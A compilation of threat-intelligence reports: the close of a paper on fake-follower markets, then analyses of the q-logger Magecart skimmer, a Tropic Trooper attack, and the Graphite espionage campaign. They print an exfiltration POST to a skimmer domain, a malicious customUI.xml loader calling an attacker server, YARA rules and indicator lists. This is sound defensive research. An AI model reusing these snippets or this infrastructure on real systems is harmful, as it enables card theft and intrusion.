panels, we gathered SMF prices for 58 panels, keeping the lowest and the highest prices for 1,000 Instagram followers on each panel. ## 5. Conclusion In this paper, we have uncovered the potential SMF supply chain and discussed the operations of multiple actors involved. Further research is, however, required to better understand the dynamics that link each actor in the supply chain. ## Acknowledgments We would like to thank Philippe Arteau and Benjamin Mbemba for taking the time to review this paper.
# q-logger skimmer keeps Magecart attacks going **Threat Intelligence Team** **October 19, 2021** This blog post was authored by Jérôme Segura Although global e-commerce is continuing to grow rapidly, it seems as though Magecart attacks via digital skimmers have not followed the same trend. This is certainly true if we only look at recent newsworthy attacks; indeed when a victim is a large business or popular brand we typically are more likely to remember it. From a research standpoint, we have observed certain shifts in the scope of attacks. For instance, the different threat actors are continuing to expand and diversify their methods and infrastructure. In a blog post about Magecart Group 8, we documented some of the various web properties used to serve skimmers and exfiltrate stolen data. But at the end of the day, we only know about attacks that we can see, that is until we discover more. Case in point, one particular skimmer identified as q-logger has been active for several months. But it wasn’t until we started digging further that we realized how much bigger it was. ## Q-logger origins This skimmer was originally flagged by Eric Brandel as q-logger. Depending on how much you enjoy parsing JavaScript you may have a love/hate relationship with it. The code is dense and using an obfuscator that is as generic as can be, making identification using signatures challenging. > Thanks to some data from @sansecio I've come across a new(?) digital skimmer/#magecart I call "q-logger". It has a variety of features, the most peculiar may be the secondary keylogger it uses to try and defend against inspection. — Eric Brandel (@AffableKraut) April 22, 2021 This skimmer can be found loaded directly into compromised e-commerce sites. However, in the majority of cases we found it loaded externally. ### The loader The loader is also an encoded piece of JavaScript that is somewhat obscure. It is injected inline within the DOM right before the text/x-magento-init tag or separated by copious amounts of white space. One way to understand what the code does is by using a debugger and setting a breakpoint at a particular spot. It is best to either use an already compromised site or bypass the check for the address bar (onestepcheckout). We can now see the purpose of this script: it is to load the proper skimmer. ### The skimmer As mentioned previously, the skimmer is quite opaque and makes debugging effort difficult and lengthy. To cut to the chase, the skimmer exfiltrates data via a POST request to the same domain name where the JavaScript is loaded from. ``` POST https://filltobill5.casa/ HTTP/1.1 Host: filltobill5.casa [obfuscated data] ``` ### Threat actor and victims We were able to collect a few indicators from the threat actor behind this campaign. One was the use of netmail.tk, also observed by Luke Leal, for registering skimmer domains. Although there are clusters of domains from the same registrant, we see that they are trying to compartmentalize their infrastructure and hide the hosting provider’s true IP address. They also register domains en masse, which allows them to defeat traditional blocklists. We don’t have a good estimate of how prevalent this campaign is, but we certainly run into it regularly while monitoring e-commerce sites for malicious code. The victims are various small businesses with an online shop running Magento. ## Conclusion The large number of e-commerce sites that are running outdated versions of their CMS is a low hanging fruit for threat actors interested in stealing credit card data. In a sense, there is always a baseline of potential victims that can be harvested. And every now and again, some opportunities appear. They could be as simple as a zero-day in a plugin or CMS, or maybe an entry point into more valuable targets via a supply-chain attack. Threat actors are always ready to pounce on those and may well have established their infrastructure ahead of time, waiting for such opportunities. Malwarebytes customers are protected against this skimmer. ## Indicators of Compromise **Email addresses (registrant)** wxugvvvu@netmail[.]tk isgskpys@netmail[.]tk zulhqmnr@netmail[.]tk yzzljjkmc@emlhub[.]com foyiy11183@macosnine[.]com **Skimmer domains** adminet[.]site adminet[.]space amasterweb[.]site analistcloud[.]space analistnet[.]site analistnet[.]space analistsite[.]site analistsite[.]space analisttab[.]site analisttab[.]space analistweb[.]site analistweb[.]space analitic-tab[.]site analitic-tab[.]space analiticnet[.]site analitics-tab[.]site analiticsnet[.]site analiticstab[.]site analiticstab[.]space analitictab[.]site analitictab[.]space analiticweb[.]site analizeport[.]site analizerete[.]site analylicweb[.]site analystclick[.]site analysttraffic[.]site analystview[.]site analystweb[.]site analyticlick[.]site analyticmanager[.]site analyticview[.]site aneweb[.]site bublegum[.]xyz cdnetworker[.]site cleanerjs[.]site clickanalyst[.]site clickanalytic[.]site cloudtester[.]site cocolatest[.]sbs commenter[.]site connectweb[.]space domainclean[.]site domainet[.]site domainet[.]space fastester[.]site fastjspage[.]site fastupload[.]site filltobill5[.]casa foosq[.]one foundanalyst[.]site foundanalytic[.]site fullka[.]online goos1[.]store gudini[.]cam hardtester[.]site hostcontrol[.]space httpanel[.]site indokitel[.]xyz interage[.]site ipcounter[.]space itoltuico[.]cyou itsector[.]date jscleaner[.]site lanetester[.]site lanlocker[.]site linkerange[.]site linkerange[.]space listmanager[.]space loockerweb[.]site magengine[.]site managerage[.]site managerage[.]space managertraffic[.]site mariaschool[.]xyz masterlinker[.]site masternet[.]space masterport[.]site mediaconservative[.]xyz minanalize[.]site minimazerjs[.]site netanalist[.]site netanalist[.]space netanalisttest[.]space netanalitic[.]site netanalitic[.]space netanalitics[.]site netcontrol[.]site netpanel[.]site netstart[.]space nettingpanel[.]site nettingtest[.]site nettraffic[.]site ollaholla[.]cyou onehitech[.]casa ownerpage[.]site pagecleaner[.]site pagegine[.]site pageloader[.]site pagenator[.]site pagestater[.]site pagesupport[.]site panelake[.]site panelake[.]space panelan[.]site panelblock[.]site panelnetting[.]site panelocker[.]site pinokio[.]online planetspeed[.]site producteditor[.]site retenetweb[.]site rokki[.]club saverplanel[.]site sectimer[.]site securefield[.]site seeweb[.]space sentech[.]cyou showproduct[.]site siteanalist[.]site siteanalist[.]space siteanalitic[.]site siteanalitics[.]site siteanalyst[.]site siteanalytic[.]site sitengine[.]site sitesecure[.]space sitetraffic[.]site slickclean[.]site slotmanager[.]site slotshower[.]site smallka[.]cam smalltrch[.]cc soorkis[.]one spaceclean[.]site spacecom[.]site speedstress[.]site speedtester[.]site speedtester[.]space sslmanager[.]site starnetting[.]site statetraffic[.]site statsclick[.]site storepanel[.]site suporter[.]site tab-analitic[.]site tab-analitic[.]space tab-analitics[.]site tab-analitics[.]space tabanalist[.]site tabanalist[.]space tabanalitic[.]site tabanalitic[.]space tabanalitics[.]site tabanalitics[.]space targetag[.]space telanet[.]site telanet[.]space trafficanalyst[.]site trafficanalytics[.]site trafficcloud[.]site trafficsanalist[.]site trafficsee[.]site trafficweb[.]site truetech[.]cam unpkgtraffic[.]site veeneetech[.]world versionhtml[.]site viewanalyst[.]site viewanalytic[.]site webanalist[.]site webanalist[.]space webanalitic[.]site webanalitics[.]site webanalylic[.]site webanalyst[.]site webmode[.]site webmoder[.]space welltech[.]bar welltech[.]monster welltech[.]rest **Skimmer URLs** filltobill5[.]casa/state-3.9.min.js welltech[.]bar/state-5.0.7.js veeneetech[.]world/tag-2.7.js goos1[.]store/openapi-3.3.min.js goos1[.]store/animate-1.6.9.min.js mariaschool[.]xyz/openapi.min.js pagecleaner[.]site/state.min.js foosq[.]one/mobile.js pinokio[.]online/slick-3.4.min.js truetech[.]cam/screen-4.6.min.js onehitech[.]casa/tags-3.0.7.js rokki[.]club/mobile-1.3.min.js bublegum[.]xyz/libs.min.js fastjspage[.]site/utils.js fastester[.]site/waypoints.min.js versionhtml[.]site/openapi-4.1.js itoltuico[.]cyou/library-3.6.js adminet[.]site/utils.js ollaholla[.]cyou/common-4.1.js indokitel[.]xyz/current.min.js panelake[.]site/tag.js gudini[.]cam/libs-2.0.js fullka[.]online/dropdowns-1.6.min.js welltech[.]monster/mobile-2.3.min.js welltech[.]rest/widget.min.js sentech[.]cyou/widget.min.js smalltrch[.]cc/plugin-1.9.7.js soorkis[.]one/widget-3.6.7.js analistcloud[.]space/common.js smallka[.]cam/plugin-1.1.3.js loockerweb[.]site/common.js mediaconservative[.]xyz/script.js itsector[.]date/waypoints.min.js ## YARA rules **rule qlogger_loader_WebSkimmer : Magecart WebSkimmer** { meta: author = "Malwarebytes" description = "Magecart (q-logger loader)" date = "2021-10-19" strings: $regex = /"load",function\(\)\{\(function\(\)\{/ $regex2 = /while\(!!\[\]\)\{try{var/ $regex3 = /\(\w\['shift'\]\(\)\);\}\}\}/ condition: all of them } **rule qlogger_skimmer_WebSkimmer : Magecart WebSkimmer** { meta: author = "Malwarebytes" description = "Magecart (q-logger skimmer)" date = "2021-10-19" strings: $regex = /return\(!!window\[\w{2}\(/ $regex2 = /\w\(\)&&console\[/ condition: all of them }
# Windows Defender ATP Device Risk Score Exposes New Cyberattack **Windows Defender ATP Team** November 28, 2018 Several weeks ago, the Windows Defender Advanced Threat Protection (Windows Defender ATP) team uncovered a new cyberattack that targeted several high-profile organizations in the energy and food and beverage sectors in Asia. Given the target region and verticals, the attack chain, and the toolsets used, we believe the threat actor that the industry refers to as Tropic Trooper was likely behind the attack. The attack set off numerous Windows Defender ATP alerts and triggered the device risk calculation mechanism, which labeled the affected machines with the highest risk. The high device risk score put the affected machines at the top of the list in Windows Defender Security Center, leading to the early detection and discovery of the attack. With the high risk determined for affected machines, Conditional Access blocked these machines’ access to sensitive content, protecting other users, devices, and data in the network. IT admins can control access with Conditional Access based on the device risk score to ensure that only secure devices have access to enterprise resources. Finally, automatic investigation and remediation kicked in, discovered the artifacts on affected machines related to the breach, and remediated the threat. This sequence of actions ensured that the attackers no longer had a foothold on affected machines, returning them to a normal working state. Once the threat was remediated, the risk score for those machines was reduced, and Conditional Access restrictions were lifted. ## Investigating Alert Timelines and Process Trees We discovered the attack when Windows Defender ATP called our attention to alerts flagging several different suspicious activities like abnormal Office applications activity, dubious cross-process injections, and machine-learning-based indications of anomalous execution flows. The sheer volume and variety of the alerts told us something serious was going on. The first detection related to the attack was fired by a suspicious `EQNEDT32.exe` behavior, which led us to the entry vector of the attack: a malicious document that carried an exploit for CVE-2018-0802, a vulnerability in Microsoft Office Equation Editor, which the actor known as Tropic Trooper has exploited in previous campaigns. Using Office 365 ATP Threat Explorer, we found the specific emails that the attackers used to distribute the malicious document. Using Windows Defender Security Center, we further investigated the detected executable and found that the attackers used `bitsadmin.exe` to download and execute a randomly named payload from a remote server. Machine timeline activity showed that the executed payload communicated to a remote command-and-control (C&C) server and used the process hollowing technique to run code in a system process memory. In some cases, the attacker ran additional activities using malicious PowerShell scripts. Windows Defender ATP’s Antimalware Scan Interface (AMSI) sensor exposed all the attacker scripts, which we observed to be meant mostly for data exfiltration. Using the timeline and process tree views in Windows Defender Security Center, we were able to identify the processes exhibiting malicious activities and pinpoint exactly when they occurred, allowing us to reconstruct the attack chain. As a result of this analysis, we were able to determine a strong similarity between this new attack and the attack patterns used by the threat actor known as Tropic Trooper. ## Device Risk Calculation and Incident Prioritization The alerts that were raised for this attack resulted in a high device risk score for affected machines. Windows Defender ATP determines a device risk score based on different mechanisms. The score is meant to raise the risk level of machines with true positive alerts that indicate a potential targeted attack. The high device risk score pushed the affected machines to the top of the queue, helping ensure security operations teams can immediately notice and prioritize. More importantly, elevated device risk scores trigger automatic investigation and response, helping contain attacks early in their lifespan. In this specific attack, the risk calculation mechanism gave the affected machines the highest risk based on cumulative risk. Cumulative risk is calculated based on the multiple components and multiple types of anomalous behaviors exhibited by an attack across the infection chain. ## Windows Defender ATP-Driven Conditional Access When Windows Defender ATP raises the device risk score for machines, as in this attack, the affected devices are marked as being at high risk. This risk score is immediately communicated to Conditional Access, resulting in the restriction of access from these devices to corporate services and data managed by Azure Active Directory. This integration between Windows Defender ATP and Azure Active Directory through Microsoft Intune ensures that attackers are immediately prevented from gaining access to sensitive corporate data, even if they manage to establish a foothold on networks. When the threat is remediated, Windows Defender ATP drops the device risk score, and the device regains access to resources. ## Signal Sharing and Threat Remediation Across Microsoft Threat Protection Threat signal sharing across Microsoft services through the Intelligent Security Graph ensures that threat remediation is orchestrated across Microsoft Threat Protection. In this case, Office 365 ATP blocked the related email and malicious document used in the initial stages of the attack. Office 365 ATP had determined the malicious nature of the emails and attachment at the onset, stopping the attack’s entry point and protecting Office 365 ATP customers from the attack. This threat signal is shared with Windows Defender ATP, adding to the rich threat intelligence that was used for investigation. Likewise, Office 365 ATP consumes intelligence from Windows Defender ATP, helping ensure that malicious attachments are detected and related emails are blocked. Meanwhile, the integration of Windows Defender ATP and Azure Active Directory ensured that affected devices are not allowed to access sensitive corporate data until the threat is resolved. Windows Defender ATP, Office 365 ATP, and Azure Active Directory are just some of the many Microsoft services that now integrate through Microsoft Threat Protection, an integrated solution for securing identities, endpoints, user data, cloud apps, and infrastructure. ## Conclusion The new device risk calculation mechanism in Windows Defender ATP raised the priority of various alerts that turned out to be related to a targeted attack, exposing the threat and allowing security operations teams to immediately take remediation actions. Additionally, the elevated device risk score triggered automated investigation and response, mitigating the attack at its early stages. Through Conditional Access, compromised machines are blocked from accessing critical corporate assets. This protects organizations from the serious risk of attackers leveraging compromised devices to perform cyberespionage and other types of attacks. ## Indicators of Attack (IoCs) **Command and Control IP Addresses and URLs:** - 199.192.23.231 - 45.122.138.6 - lovehaytyuio09.com **Files (SHA-256):** - 9adfc863501b4c502fdac0d97e654541c7355316f1d1663b26a9aaa5b5e722d6 (size: 190696 bytes, type: PE) - 5589544be7f826df87f69a84abf478474b6eef79b48b914545136290fee840fe (size: 727552, type: PE) - 073884caf7df8dafc225567f9065bbf9bf8e5beef923655d45fe5b63c6b6018c (size: 195123 bytes, type: docx) - 1aef46dcbf9f0b5ff548f492685d488c7ac514a24e63a4d3ed119bfdbd39c908 (size: 207444, type: docx)
# Prime Minister’s Office Compromised: Details of Recent Espionage Campaign By Marc Elias · January 25, 2022 ## Executive Summary Our Advanced Threat Research Team has identified a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia. We have undertaken pre-release disclosure to the victims and provided all necessary content required to remove all known attack components from their environments. The infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email, which exploits an MSHTML remote code execution vulnerability (CVE-2021-40444) to execute a malicious executable in memory. The attack uses a follow-up piece of malware called Graphite because it uses Microsoft’s Graph API to leverage OneDrive as a command and control server—a technique our team has not seen before. Furthermore, the attack was split into multiple stages to stay as hidden as possible. Command and control functions used an Empire server that was prepared in July 2021, and the actual campaign was active from October to November 2021. This blog will explain the inner workings, victimology, infrastructure, and timeline of the attack and reveal the IOCs and MITRE ATT&CK techniques. A number of the attack indicators and apparent geopolitical objectives resemble those associated with the previously uncovered threat actor APT28. While we don’t believe in attributing any campaign solely based on such evidence, we have a moderate level of confidence that our assumption is accurate. That said, we are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding, and operation were set up. Trellix customers are protected by the different McAfee Enterprise and FireEye products that were provided with these indicators. ## Analysis of the Attack Process This section provides an analysis of the overall process of the attack, beginning with the execution of an Excel file containing an exploit for the MSHTML remote code execution vulnerability (CVE-2021-40444). This is used to execute a malicious DLL file acting as a downloader for the third stage malware we called Graphite. Graphite is a newly discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive accounts as a command and control server via the Microsoft Graph API. The last phases of this multi-stage attack, which we believe is associated with an APT operation, include the execution of different Empire stagers to finally download an Empire agent on victims’ computers and engage the command and control server to remotely control the systems. ### First Stage – Excel Downloaders As suggested, the first stage of the attack likely uses a spear phishing email to lure victims into opening an Excel file, which goes by the name “parliament_rew.xlsx”. Below you can see the identifying information for this file: - **File type**: Excel Microsoft Office Open XML Format document - **File name**: parliament_rew.xlsx - **File size**: 19.26 KB - **Compilation time**: 05/10/2021 - **MD5**: 8e2f8c95b1919651fcac7293cb704c1c - **SHA-256**: f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 In analyzing this file’s structure, we observed that it includes a folder named “customUI” that contains a file named “customUI.xml”. Opening this file with a text editor, we observed that the malicious document uses the “CustomUI.OnLoad” property of the OpenXML format to load an external file from a remote server: ```xml <customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad='https://wordkeyvpload[.]net/keys/parliament_rew.xls!123'> </customUI> ``` This technique allows the attackers to bypass some antivirus scanning engines and office analysis tools, decreasing the chances of the documents being detected. The downloaded file is again an Excel spreadsheet, but this time it is saved using the old Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying information of the file: - **File type**: Microsoft Office Excel 97-2003 Binary File Format - **File name**: parliament_rew.xls - **File size**: 20.00 KB - **Compilation time**: 05/10/2021 - **MD5**: abd182f7f7b36e9a1ea9ac210d1899df - **SHA-256**: 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a Analyzing the metadata objects, we can identify that the creator was using the codepage 1252 used in Western European countries and the file was created on October 5th, 2021. Later, we analyzed the OLE objects in the document and discovered a Linked Object OLEStream Structure which contains a link to the exploit of the CVE-2021-40444 vulnerability hosted on the attackers’ server. This allows the document to automatically download the HTML file and subsequently call the Internet Explorer engine to interpret it, triggering the execution of the exploit. In this blog post, we won’t examine the internals of the CVE-2021-40444 vulnerability as it has already been publicly explained and discussed. Instead, we will continue the analysis on the second stage DLL contained in the CAB file of the exploit. ### Second Stage – DLL Downloader The second stage is a DLL executable named fontsubc.dll which was extracted from the CAB file used in the exploit mentioned before. You can see the identifying information of the file below: - **File type**: PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit - **File name**: fontsubc.dll - **File size**: 88.50 KB - **Compilation time**: 28/09/2021 - **MD5**: 81de02d6e6fca8e16f2914ebd2176b78 - **SHA-256**: 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 This file exports a function called “CPlApplet” that Windows recognizes as a control panel application. Primarily, this acts as a downloader for the next stage malware which is located at hxxps://wordkeyvpload[.]net/keys/update[.]dat using COM Objects and the API “URLOpenBlockingStreamW”. After downloading the file, the malware will decrypt it with an embedded RSA Public Key and check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will allocate virtual memory, copy the payload to it, and execute it. Before executing the downloaded payload, the malware will compare the first four bytes with the magic value DE 47 AC 45 in hexadecimal; if they are different, it won’t execute the payload. ### Third Stage – Graphite Malware The third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able to extract from the memory of the previous stage. Below you can see the identifying information of the file: - **File type**: PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit - **File name**: dfsvc.dll - **File size**: 24.00 KB - **Compilation time**: 20/09/2021 - **MD5**: 0ff09c344fc672880fdb03d429c7bda4 - **SHA-256**: f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 We named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive as command and control. It is very likely that the developers of Graphite used the Empire OneDrive Stager as a reference due to the similarities of the functionality and the file structure used in the OneDrive account of the actors. Graphite starts by creating a mutex with the hardcoded name “250gHJAWUI289382s3h3Uasuh289di” to avoid double executions, decrypt the strings, and resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to identify the infected computer which is a CRC32 checksum of the value stored in the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid”. Next, the malware will create a thread to monitor the execution of tasks and upload its results to the OneDrive account. Result files will be uploaded to the “update” folder of the attackers’ OneDrive account. After that, the malware will enter into an infinite loop where every 20 minutes it will obtain a new OAuth2 token to use with the Microsoft Graph API requests and determine if there are new tasks to execute in the “check” folder of the attackers’ OneDrive account. Once it obtained a valid OAuth2 token, reconnaissance data is gathered containing the following information from the victims’ systems: - Running processes - .NET CLR version from PowerShell - Windows OS version The data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES-256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the file containing the system information is uploaded to the folder “{BOT_ID}/update” in OneDrive with a random name. Graphite will also query for new commands by enumerating the child files in the "check" subdirectory. If a new file is found, it will use the Graph API to download the content of the file and decrypt it. The decrypted tasks have two fields; the first one is a unique identifier of the task and the second one specifies the command to execute. The command value “1” will instruct the malware to send the system information to the command and control again, which is the attackers’ OneDrive. The command value “2” indicates that the decrypted task is a shellcode, and the malware will create a thread to execute it. If the received task is a shellcode, it will check the third field with the magic value DE 47 AC 45 in hexadecimal and, if they are different, it won’t execute the payload. The rest of the bytes of the task is the shellcode that will be executed. Lastly, the task files are deleted from the OneDrive after being processed. ### Fourth Stage – Empire DLL Launcher Stager The fourth stage is a dynamic library file named csiresources.dll that we were able to extract from a task from the previous stage. The file was embedded into a Graphite shellcode task used to reflectively load the executable into the memory of the process and execute it. Below you can see the identifying information of the file: - **File type**: PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit - **File name**: csiresources.dll - **File size**: 111.00 KB - **Compilation time**: 21/09/2021 - **MD5**: 138122869fb47e3c1a0dfe66d4736f9b - **SHA-256**: 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 The sample is a generated Empire DLL Launcher stager that will initialize and start the .NET CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire agent. With that, it is possible to run the Empire agent in a process that’s not PowerShell.exe. First, the malware will check if it is executing from the explorer.exe process. If it is not, the malware will exit. Next, the malware will try to find the file “EhStorShell.dll” in the System32 folder and load it. With this, the malware makes sure that the original “EhStorShell.dll” file is loaded into the explorer.exe context. The previous operation is important because the follow-up malware will override the CLSID “{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}” to gain persistence in the victims’ system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to the “Enhanced Storage Shell Extension DLL” and is handled by the file “EhStorShell.dll”. Coming up next, the malware will load, initialize, and start the .NET CLR Runtime, XOR decrypt the .NET next stage payload, and load it into memory. Lastly, it will execute the file using the .NET Runtime. ### Fifth Stage – Empire PowerShell C# Stager The fifth stage is a .NET executable named Service.exe which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file: - **File type**: PE32 executable for MS Windows (console) Intel 80386 32-bit - **File size**: 34.00 KB - **MD5**: 3b27fe7b346e3dabd08e618c9674e007 - **SHA-256**: d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 This sample is an Empire PowerShell C# Stager whose main goal is to create an instance of a PowerShell object, decrypt the embedded PowerShell script using XOR operations, and decode it with Base64 before finally executing the payload with the Invoke function. The reason behind using a .NET executable to load and execute PowerShell code is to bypass security measures like AMSI, allowing execution from a process that shouldn’t allow it. ### Sixth Stage – Empire HTTP PowerShell Stager The last stage is a PowerShell script, specifically an Empire HTTP Stager, which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file: - **File type**: PowerShell script - **File size**: 6.00 KB - **MD5**: a81fab5cf0c2a1c66e50184c38283e0e - **SHA-256**: da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 This is the last stage of the multi-stage attack and is an HTTP stager highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis difficult. The main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.]jsp to send the initial information about the system and connect to the URL hxxp://wordkeyvpload[.]org/index[.]php to download the encrypted Empire agent, decrypt it with AES-256, and execute it. ## Timeline of Events Based on all the activities monitored and analyzed, we provide the following timeline of events: ### Targeting One of the lure documents we mentioned before (named “parliament_rew.xlsx”) might have been aimed at targeting government employees. Besides targeting government entities, it appears this adversary also has its sights on the defense industry. Another document with the name “Missions Budget.xlsx” contained the text “Military and civilian missions and operations” and the budgets in dollars for the military operations in some countries for the years 2022 and 2023. Moreover, from our telemetry, we also have observed that Poland and other Eastern European countries were of interest to the actors behind this campaign. The complete victimology of the actors is unknown, but the lure documents we have seen show its activities are centered in specific regions and industries. Based on the names, the content of the malicious Excel files, and our telemetry, it seems the actors are targeting countries in Eastern Europe and the most prevalent industries are Defense and Government. ### Infrastructure Thanks to the analysis of the full attack chain, two hosts related to the attack were identified. The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc. Querying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the domain “bwh7196.bitcoinwebhosting.net” which could be an indication that the server was bought from the Bitcoin Web Hosting VPS reseller company. The main functionality of this command-and-control server is to host the HTML exploit for CVE-2021-40444 and the CAB file containing the second stage DLL. The second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19, located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft-IIS/7.5), and the open ports (1337 and 5000), it is very likely the host is running the latest version of the Empire post-exploitation framework. The reason behind that hypothesis is that the default configuration of Empire servers uses port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact remotely with the server. Also, when deploying an HTTP Listener, the default value for the HTTP Server field is hardcoded to “Microsoft-IIS/7.5”. With the aforementioned information, as well as the extraction of the command and control from the last stage of the malware, we can confirm that this host acts as an Empire server used to remotely control the agents installed in victims’ machines and send commands to execute them. ### Attribution During the timeline of this operation, there have been some political tensions around the Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of view, it would make complete sense to infiltrate and gather information to assess the risk and movements of the different parties involved. Throughout our research into the Graphite campaign, we extracted all timestamps of activity from the attackers from our telemetry and found two consistent trends. First, the activity days of the adversary are from Monday to Friday. Second, the activity timestamps correspond to normal business hours (from 08h to 18h) in the GMT+3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time, and East Africa Time. Another interesting discovery during the investigation was that the attackers were using the CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched with an ESET report in which researchers mentioned a Russian Operation targeting Eastern European countries. Analyzing and comparing code-blocks and sequences from the Graphite malware with our database of samples, we discovered overlap with samples in 2018 being attributed to APT28. We compared, for example, our samples towards this one: 5bb9f53636efafdd30023d44be1be55bf7c7b7d5. When we zoom in on some of the functions, we observe the Graphite sample and the aforementioned 2018 sample. With almost three years in time difference, it makes sense that code is changed, but still, it looks like the programmer was happy with some of the previous functions. Although we mentioned some tactics, techniques, and procedures (TTPs) of the actors behind this campaign, we simply do not have enough context, similarities, or overlap to point us with low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we believe we are dealing with a skilled actor based on how the infrastructure, malware coding, and operation were set up. ## Conclusion The analysis of the campaign described in this blog post allowed us to gather insights into a multi-staged attack performed in early October, leveraging the MSHTML remote code execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe. As seen in the analysis of the Graphite malware, one quite innovative functionality is the use of the OneDrive service as a Command and Control through querying the Microsoft Graph API with a hardcoded token in the malware. This type of communication allows the malware to go unnoticed in the victims’ systems since it will only connect to legitimate Microsoft domains and won’t show any suspicious network traffic. Thanks to the analysis of the full attack process, we were able to identify new infrastructure acting as command and control from the actors and the final payload, which is an agent from the post-exploitation framework Empire. All the above allowed us to construct a timeline of the activity observed in the campaign. The actors behind the attack seem very advanced based on the targeting, the malware, and the infrastructure used in the operation, so we presume that the main goal of this campaign is espionage. With low and moderate confidence, we believe this operation was executed by APT28. To further investigate, we provided some tactics, techniques, and procedures (TTPs), indicators on the infrastructure, targeting, and capabilities to detect this campaign. ## MITRE ATT&CK Techniques - **T1583.001**: Acquire Infrastructure: Attackers purchased domains to be used as a command and control. - **T1587.001**: Develop capabilities: Attackers built malicious components to conduct their attack. - **T1588.002**: Develop capabilities: Attackers employed red teaming tools to conduct their attack. - **T1566.001**: Phishing: Spear phishing Attachment: Adversaries sent spear phishing emails with a malicious attachment to gain access to victim systems. - **T1203**: Exploitation for Client Execution: Adversaries exploited a vulnerability in Microsoft Office to execute code. - **T1059.001**: Command and Scripting Interpreter: Adversaries abused PowerShell for execution of the Empire stager. - **T1546.015**: Event Triggered Execution: Adversaries established persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. - **T1136.001**: Create Account: Local Account: Adversaries created a local account to maintain access to victim systems. - **T1620**: Reflective Code Loading: Adversaries reflectively loaded code into a process to conceal the execution of malicious payloads. - **T1104**: Multi-Stage Channels: Adversaries created multiple stages to obfuscate the command-and-control channel and to make detection more difficult. - **T1102.002**: Web Service: Bidirectional Communication: Adversaries used an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. - **T1573.001**: Encrypted Channel: Symmetric Cryptography: Adversaries employed a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. - **T1573.002**: Encrypted Channel: Asymmetric Cryptography: Adversaries employed a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ## Indicators of Compromise (IOCs) ### First stage – Excel Downloaders - 40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa - f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 - 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a - 9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0 ### Second stage – Downloader DLL - 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 ### Third stage – Graphite - 35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f - f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 ### Fourth stage – DLL Launcher Stager - 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 ### Fifth stage – PowerShell C# Stager - d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 ### Sixth stage – Empire HTTP PowerShell Stager - da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 ## URLs - hxxps://wordkeyvpload[.]net/keys/Missions Budget Lb.xls - hxxps://wordkeyvpload[.]net/keys/parliament_rew.xls - hxxps://wordkeyvpload[.]net/keys/Missions Budget.xls - hxxps://wordkeyvpload[.]net/keys/TR_comparison.xls - hxxps://wordkeyvpload[.]net/keys/JjnJq3.html - hxxps://wordkeyvpload[.]net/keys/iz7hfD.html - hxxps://wordkeyvpload[.]net/keys/Ari2Rc.html - hxxps://wordkeyvpload[.]net/keys/OD4cNq.html - hxxps://wordkeyvpload[.]net/keys/0YOL4.cab - hxxps://wordkeyvpload[.]net/keys/whmel.cab - hxxps://wordkeyvpload[.]net/keys/UdOpQ.cab - hxxps://wordkeyvpload[.]net/keys/D9V5E.cab - hxxps://wordkeyvpload[.]net/keys/update.dat - hxxps://wordkeyvpload[.]org/index.jsp - 